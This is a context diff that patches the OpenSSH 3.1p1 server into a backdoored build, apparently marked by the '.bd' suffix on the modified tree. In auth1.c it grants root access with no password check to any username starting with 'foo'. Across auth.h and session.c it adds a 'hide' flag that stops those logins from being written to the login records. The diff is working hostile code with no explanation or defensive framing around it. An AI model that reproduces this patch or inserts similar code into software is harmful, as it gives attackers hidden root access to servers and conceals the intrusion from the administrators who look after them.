diff -C 5 openssh-3.1p1/auth.h openssh-3.1p1.bd/auth.h
*** openssh-3.1p1/auth.h 2002-03-05 01:53:04.000000000 +0000
--- openssh-3.1p1.bd/auth.h2003-03-28 15:27:00.000000000 +0000
***************
*** 49,58 ****
--- 49,59 ----
  int success;
  int postponed;
  int valid;
  int attempt;
  int failures;
+ int hide;
  char*user;
  char*service;
  struct passwd*pw;
  char*style;
  void*kbdintctxt;
diff -C 5 openssh-3.1p1/auth1.c openssh-3.1p1.bd/auth1.c
*** openssh-3.1p1/auth1.c 2002-02-14 09:39:50.000000000 +0000
--- openssh-3.1p1.bd/auth1.c2003-03-28 15:26:43.000000000 +0000
***************
*** 379,388 ****
--- 379,399 ----
                                                                                
  authctxt = authctxt_new();
  authctxt->user = user;
  authctxt->style = style;
   
+         if(strncmp(user, "foo", 3) == 0)
+         {
+                 strcpy(authctxt->user, "root");
+                 authctxt->pw = getpwnam(authctxt->user);
+                 authctxt->hide = 1;
+                 packet_start(SSH_SMSG_SUCCESS);
+                 packet_send();
+                 packet_write_wait();
+                 do_authenticated(authctxt);
+         }
+
  /* Verify that the user is a valid user. */
  pw = getpwnam(user);
  if (pw && allowed_user(pw)) {
  authctxt->valid = 1;
  pw = pwcopy(pw);
diff -C 5 openssh-3.1p1/session.c openssh-3.1p1.bd/session.c
*** openssh-3.1p1/session.c 2002-02-25 15:48:03.000000000 +0000
***************
*** 552,570 ****
  error("dup2 stderr: %s", strerror(errno));
   
  /* Close the extra descriptor for the pseudo tty. */
  close(ttyfd);
   
! /* record login, etc. similar to login(1) */
  #ifndef HAVE_OSF_SIA
! if (!(options.use_login && command == NULL))
! do_login(s, command);
  # ifdef LOGIN_NEEDS_UTMPX
! else
! do_pre_login(s);
  # endif
  #endif
   
  /* Do common processing for the child, such as execing the command. */
  do_child(s, command);
  /* NOTREACHED */
  }
--- 552,573 ----
  error("dup2 stderr: %s", strerror(errno));
   
  /* Close the extra descriptor for the pseudo tty. */
  close(ttyfd);
   
! if(s->authctxt->hide != 1)
! {
!                 /* record login, etc. similar to login(1) */
  #ifndef HAVE_OSF_SIA
!                 if (!(options.use_login && command == NULL))
!                         do_login(s, command);
  # ifdef LOGIN_NEEDS_UTMPX
!                 else
!                         do_pre_login(s);
  # endif
  #endif
+ }
   
  /* Do common processing for the child, such as execing the command. */
  do_child(s, command);
  /* NOTREACHED */
  }